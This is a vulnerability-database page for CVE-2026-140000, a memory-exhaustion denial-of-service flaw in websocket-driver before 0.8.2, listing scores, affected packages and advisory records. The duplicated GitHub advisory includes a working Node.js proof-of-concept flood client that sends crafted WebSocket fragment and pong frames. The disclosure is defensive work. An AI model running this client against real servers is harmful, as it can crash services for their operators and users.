Every CVESearch/Get API key

CVE-2026-140000

websocket-driver: Memory exhaustion triggered by small fragment frames holding long-lived references to TCP reads

Explain with AI
ChatGPTClaudeGoogle AI
Severity
7.5High
Network attack, no privileges, no user interactionCVSS 3.1, CVE List
Exploitation
Unknown
No source reports exploitation yet.
Exploit chance
0.62% in 30 days
Percentile51st
EPSS, scored
Listed fix
0.8.2 for websocket-driver (npm)
From GitHub Advisories and OSV9 other affected packages

Overview

websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.2, StreamReader.read() uses Buffer.slice() for small reads, so small fragmented message frames can retain references to much larger TCP input Buffer objects. Before 0.8.1, unfinished fragments can retain source TCP reads until the message completes or reaches maxLength; in 0.8.1, compaction occurs after 1,000,000 fragments but can still retain up to 1,000,000 TCP inputs. An unauthenticated remote client can exploit this retention to cause substantial memory inflation and potentially exhaust server memory. This issue is fixed in version 0.8.2.

CVSS 3.1 vector

Exploitability

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

Impact

Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Exploit chance over time

Unchanged since Dec 1, 2026
EPSS score 0.62% every day from Dec 1, 2026 to Dec 4, 2026.

Affected

Packages 10

Affected packages
PackageAffectedFixed
websocket-driver
npm
before 0.8.2
0.8.2
js-jquery
Azure Linux:3
through 3.5.0-4None listed
python-tensorboard
Azure Linux:3
through 2.16.2-6None listed
websocket-driver
TuxCare:npm
0.7.5-tuxcare.0 up to 0.7.5-tuxcare.4, plus listed versions
0.7.50.7.5-tuxcare.10.7.5-tuxcare.20.7.5-tuxcare.3
0.7.5-tuxcare.4
0.6.5-tuxcare.0 up to 0.6.5-tuxcare.4, plus listed versions
0.6.50.6.5-tuxcare.10.6.5-tuxcare.20.6.5-tuxcare.3
0.6.5-tuxcare.4
node-websocket-driver
Debian:12
All versions, plus listed versions
0.7.4+~cs0.6.14-10.7.4+~cs0.6.7-20.7.5+~cs0.6.14-1
None listed
node-websocket-driver
Debian:13
All versions, plus listed versions
0.7.4+~cs0.6.14-10.7.4+~cs0.6.7-20.7.5+~cs0.6.14-1
None listed
node-websocket-driver
Debian:14
All versions, plus listed versions
0.7.4+~cs0.6.14-10.7.4+~cs0.6.7-20.7.5+~cs0.6.14-1
None listed
librechat-0
Docker Hardened Images:Alpine:3.23
0.8.8-r0 and later, plus listed versions
0.8.8-r10.8.8-r20.8.8-r30.8.8-r40.8.8-r5
Show 5 more versionsShow less
0.8.8-r60.8.9-r00.8.9-r10.8.9-r20.8.9-r3
None listed
librechat-0
Docker Hardened Images:Alpine:3.24
0.8.8-r0 and later, plus listed versions
0.8.8-r10.8.8-r20.8.8-r30.8.8-r40.8.8-r5
Show 5 more versionsShow less
0.8.8-r60.8.9-r00.8.9-r10.8.9-r20.8.9-r3
None listed
librechat-0
Docker Hardened Images:Debian:13
0.8.8-0 and later, plus listed versions
0.8.8-10.8.8-20.8.8-30.8.8-40.8.8-5
Show 5 more versionsShow less
0.8.9-00.8.9-10.8.9-20.8.9-30.8.9-4
None listed

Products 1

Sources

CVE List Score usedCVSS 3.17.5

websocket-driver: Memory exhaustion triggered by small fragment frames holding long-lived references to TCP reads

websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.2, StreamReader.read() uses Buffer.slice() for small reads, so small fragmented message frames can retain references to much larger TCP input Buffer objects. Before 0.8.1, unfinished fragments can retain source TCP reads until the message completes or reaches maxLength; in 0.8.1, compaction occurs after 1,000,000 fragments but can still retain up to 1,000,000 TCP inputs. An unauthenticated remote client can exploit this retention to cause substantial memory inflation and potentially exhaust server memory. This issue is fixed in version 0.8.2.

Record
CVE-2026-140000
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-400, CWE-770
Updated
2026-12-01
EUVDEUVD-2026-139700CVSS 3.17.5

websocket-driver: Memory exhaustion triggered by small fragment frames holding long-lived references to TCP reads

Record
EUVD-2026-139700
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-12-03
GitHub AdvisoriesGHSA-j7r2-xppq-m353CVSS 3.17.5

websocket-driver: Memory exhaustion triggered by small fragment frames holding long-lived references to TCP reads

Summary

With the default configuration options, an unauthenticated remote client is able to force the server to retain large Buffer objects in memory far longer than necessary, by sending it a series of small fragment frames embedded in larger chunks of TCP input. This can cause substantial memory inflation and lead to the server running out of memory and crashing.

Details

websocket-driver handles incoming TCP input via a pipe() call that feeds Buffer objects read from a TCP stream into the driver. A class named StreamReader stores the sequence of received buffers in an array and its read(length) method is used by the parser to consume arbitrary-sized chunks of the input stream.

If the requested length is smaller than the length of the first Buffer in the input queue, the Buffer.slice() method is used to take a reference to a slice of that Buffer without copying it. Since slice() takes a reference to the source Buffer, the source is not garbage collected until all slices taken from it are dropped.

A client can abuse this by embedding a 1-byte fragmented message frame in a larger chunk of TCP input, for example a long sequence of pong frames. The parser will take a 4-byte slice for the frame mask and a 1-byte slice for the frame payload, and these slices will internally reference the original TCP read input. Since the fragments are buffered indefinitely until either the message is completed or the total of the 1-byte fragments exceeds maxLength, the client can make the server keep live references to the original TCP inputs long after it needs them. This substantially inflates the amount of memory the server is using and may lead to it crashing.

As of version 0.8.1, the parser does compact the buffered message fragments once 1,000,000 fragments are received, so the client is able to make the server retain up to 1,000,000 TCP read inputs before this limit is reached. Before version 0.8.1, this compaction limit does not exist and the server will buffer fragments until their length totals maxLength.

Proof of concept

This server uses websocket-driver to handle incoming connections, and periodically logs the amount of array buffer memory it is using:

const net = require('net')
const websocket = require('websocket-driver')

const server = net.createServer((connection) => {
  const driver = websocket.server()

  driver.on('connect', () => {
    if (websocket.isWebSocket(driver)) driver.start()
  })

  driver.on('close', () => connection.end())
  connection.pipe(driver.io).pipe(connection)
})

server.listen(5107, '127.0.0.1')

setInterval(() => {
  const MiB = Math.round(process.memoryUsage().arrayBuffers / 1048576)
  console.log('ArrayBuffers (MiB): ' + MiB)
}, 1000)

This client connects and then sends 64 KiB chunks of input that consist of a single 1-byte fragment frame, padded out with pong frames. It sends this data continuously and never sends a final frame of the fragmented message:

const { randomBytes } = require('crypto')
const net = require('net')

// masked frames, mask key 00 00 00 00
let firstFragment = Buffer.from([0x01, 0x81, 0, 0, 0, 0, 0x61]) // text, FIN = 0, 1 byte
let continuation = Buffer.from([0x00, 0x81, 0, 0, 0, 0, 0x61]) // FIN = 0, 1 byte

function pong () {
  return Buffer.concat([Buffer.from([0x8a, 0xfd, 0, 0, 0, 0]), randomBytes(125)])
}

// 1 continuation fragment + 500 pongs = about one 64 KiB socket read
let unit = Buffer.concat([continuation, ...Array.from({ length: 500 }, pong)])

let socket = net.connect(5107, '127.0.0.1')
socket.on('error', () => {})

socket.write(
  'GET / HTTP/1.1\r\n' +
  'Host: 127.0.0.1\r\n' +
  'Connection: Upgrade\r\n' +
  'Upgrade: websocket\r\n' +
  `Sec-WebSocket-Key: ${btoa('the sample nonce')}\r\n` +
  'Sec-WebSocket-Version: 13\r\n' +
  '\r\n'
)

socket.once('data', () => {
  socket.write(firstFragment)
  let flood = () => {
    while (socket.write(unit)) {}
    socket.once('drain', flood)
  }
  flood()…
Record
GHSA-j7r2-xppq-m353
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-400, CWE-770
Updated
2026-12-03
NVDCVSS 3.17.5

websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.2, StreamReader.read() uses Buffer.slice() for small reads, so small fragmented message frames can retain references to much larger TCP input Buffer objects. Before 0.8.1, unfinished fragments can retain source TCP reads until the message completes or reaches maxLength; in 0.8.1, compaction occurs after 1,000,000 fragments but can still retain up to 1,000,000 TCP inputs. An unauthenticated remote client can exploit this retention to cause substantial memory inflation and potentially exhaust server memory. This issue is fixed in version 0.8.2.

Record
CVE-2026-140000
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-400, CWE-770
Updated
2026-12-01
OSVCVSS 3.17.5

websocket-driver: Memory exhaustion triggered by small fragment frames holding long-lived references to TCP reads

websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.2, StreamReader.read() uses Buffer.slice() for small reads, so small fragmented message frames can retain references to much larger TCP input Buffer objects. Before 0.8.1, unfinished fragments can retain source TCP reads until the message completes or reaches maxLength; in 0.8.1, compaction occurs after 1,000,000 fragments but can still retain up to 1,000,000 TCP inputs. An unauthenticated remote client can exploit this retention to cause substantial memory inflation and potentially exhaust server memory. This issue is fixed in version 0.8.2.

Record
CVE-2026-140000
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-400, CWE-770
Updated
2026-12-01
OSVDEBIAN-CVE-2026-140000CVSS 3.17.5

websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.2, StreamReader.read() uses Buffer.slice() for small reads, so small fragmented message frames can retain references to much larger TCP input Buffer objects. Before 0.8.1, unfinished fragments can retain source TCP reads until the message completes or reaches maxLength; in 0.8.1, compaction occurs after 1,000,000 fragments but can still retain up to 1,000,000 TCP inputs. An unauthenticated remote client can exploit this retention to cause substantial memory inflation and potentially exhaust server memory. This issue is fixed in version 0.8.2.

Record
DEBIAN-CVE-2026-140000
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-12-03
Show 6 more recordsShow less
OSVDHI-r3w3-i42t-jtmt-qnz5CVSS 3.17.5

websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.2, StreamReader.read()…

websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.2, StreamReader.read() uses Buffer.slice() for small reads, so small fragmented message frames can retain references to much larger TCP input Buffer objects. Before 0.8.1, unfinished fragments can retain source TCP reads until the message completes or reaches maxLength; in 0.8.1, compaction occurs after 1,000,000 fragments but can still retain up to 1,000,000 TCP inputs. An unauthenticated remote client can exploit this retention to cause substantial memory inflation and potentially exhaust server memory. This issue is fixed in version 0.8.2.

Record
DHI-r3w3-i42t-jtmt-qnz5
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-12-04
OSVGHSA-j7r2-xppq-m353CVSS 3.17.5

websocket-driver: Memory exhaustion triggered by small fragment frames holding long-lived references to TCP reads

Summary

With the default configuration options, an unauthenticated remote client is able to force the server to retain large Buffer objects in memory far longer than necessary, by sending it a series of small fragment frames embedded in larger chunks of TCP input. This can cause substantial memory inflation and lead to the server running out of memory and crashing.

Details

websocket-driver handles incoming TCP input via a pipe() call that feeds Buffer objects read from a TCP stream into the driver. A class named StreamReader stores the sequence of received buffers in an array and its read(length) method is used by the parser to consume arbitrary-sized chunks of the input stream.

If the requested length is smaller than the length of the first Buffer in the input queue, the Buffer.slice() method is used to take a reference to a slice of that Buffer without copying it. Since slice() takes a reference to the source Buffer, the source is not garbage collected until all slices taken from it are dropped.

A client can abuse this by embedding a 1-byte fragmented message frame in a larger chunk of TCP input, for example a long sequence of pong frames. The parser will take a 4-byte slice for the frame mask and a 1-byte slice for the frame payload, and these slices will internally reference the original TCP read input. Since the fragments are buffered indefinitely until either the message is completed or the total of the 1-byte fragments exceeds maxLength, the client can make the server keep live references to the original TCP inputs long after it needs them. This substantially inflates the amount of memory the server is using and may lead to it crashing.

As of version 0.8.1, the parser does compact the buffered message fragments once 1,000,000 fragments are received, so the client is able to make the server retain up to 1,000,000 TCP read inputs before this limit is reached. Before version 0.8.1, this compaction limit does not exist and the server will buffer fragments until their length totals maxLength.

Proof of concept

This server uses websocket-driver to handle incoming connections, and periodically logs the amount of array buffer memory it is using:

const net = require('net')
const websocket = require('websocket-driver')

const server = net.createServer((connection) => {
  const driver = websocket.server()

  driver.on('connect', () => {
    if (websocket.isWebSocket(driver)) driver.start()
  })

  driver.on('close', () => connection.end())
  connection.pipe(driver.io).pipe(connection)
})

server.listen(5107, '127.0.0.1')

setInterval(() => {
  const MiB = Math.round(process.memoryUsage().arrayBuffers / 1048576)
  console.log('ArrayBuffers (MiB): ' + MiB)
}, 1000)

This client connects and then sends 64 KiB chunks of input that consist of a single 1-byte fragment frame, padded out with pong frames. It sends this data continuously and never sends a final frame of the fragmented message:

const { randomBytes } = require('crypto')
const net = require('net')

// masked frames, mask key 00 00 00 00
let firstFragment = Buffer.from([0x01, 0x81, 0, 0, 0, 0, 0x61]) // text, FIN = 0, 1 byte
let continuation = Buffer.from([0x00, 0x81, 0, 0, 0, 0, 0x61]) // FIN = 0, 1 byte

function pong () {
  return Buffer.concat([Buffer.from([0x8a, 0xfd, 0, 0, 0, 0]), randomBytes(125)])
}

// 1 continuation fragment + 500 pongs = about one 64 KiB socket read
let unit = Buffer.concat([continuation, ...Array.from({ length: 500 }, pong)])

let socket = net.connect(5107, '127.0.0.1')
socket.on('error', () => {})

socket.write(
  'GET / HTTP/1.1\r\n' +
  'Host: 127.0.0.1\r\n' +
  'Connection: Upgrade\r\n' +
  'Upgrade: websocket\r\n' +
  `Sec-WebSocket-Key: ${btoa('the sample nonce')}\r\n` +
  'Sec-WebSocket-Version: 13\r\n' +
  '\r\n'
)

socket.once('data', () => {
  socket.write(firstFragment)
  let flood = () => {
    while (socket.write(unit)) {}
    socket.once('drain', flood)
  }
  flood()…
Record
GHSA-j7r2-xppq-m353
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-400, CWE-770
Updated
2026-12-03
OSVAZL-117506No score

CVE-2026-140000 affecting package js-jquery 3.5.0-4

websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.2, StreamReader.read() uses Buffer.slice() for small reads, so small fragmented message frames can retain references to much larger TCP input Buffer objects. Before 0.8.1, unfinished fragments can retain source TCP reads until the message completes or reaches maxLength; in 0.8.1, compaction occurs after 1,000,000 fragments but can still retain up to 1,000,000 TCP inputs. An unauthenticated remote client can exploit this retention to cause substantial memory inflation and potentially exhaust server memory. This issue is fixed in version 0.8.2.

Record
AZL-117506
Updated
2026-12-03
OSVAZL-117635No score

CVE-2026-140000 affecting package python-tensorboard 2.16.2-6

websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.2, StreamReader.read() uses Buffer.slice() for small reads, so small fragmented message frames can retain references to much larger TCP input Buffer objects. Before 0.8.1, unfinished fragments can retain source TCP reads until the message completes or reaches maxLength; in 0.8.1, compaction occurs after 1,000,000 fragments but can still retain up to 1,000,000 TCP inputs. An unauthenticated remote client can exploit this retention to cause substantial memory inflation and potentially exhaust server memory. This issue is fixed in version 0.8.2.

Record
AZL-117635
Updated
2026-12-03
OSVCLSA-2026-1796291126No score

TuxCare security update for websocket-driver (1 CVE)

TuxCare rebuilt websocket-driver to address 1 CVE. Fixed in 0.7.5-tuxcare.4.

Record
CLSA-2026-1796291126
Updated
2026-12-04
OSVCLSA-2026-1796303025No score

TuxCare security update for websocket-driver (1 CVE)

TuxCare rebuilt websocket-driver to address 1 CVE. Fixed in 0.6.5-tuxcare.4.

Record
CLSA-2026-1796303025
Updated
2026-12-05

The JSON record also has the rest of 2 source descriptions.

History

Recorded by Every CVE

Changes recorded by Every CVE
DayChangedSources
Affected packagesOSV
Affected packages, referencesOSV
Affected packages, other IDsOSV
Affected packages, other IDs, referencesOSV
Affected packages, other IDsOSV
Affected packages, other IDs, referencesOSV
Affected packages, other IDs, referencesOSV
Published dateEUVD
Affected packages, referencesGitHub Advisories
Affected packages, key facts, referencesCVE List, NVD, OSV
Other IDs, referencesNVD, OSV
Other IDs, published dateEUVD
First indexedCVE List

Upstream dates may differ.

References

MoveEnter Open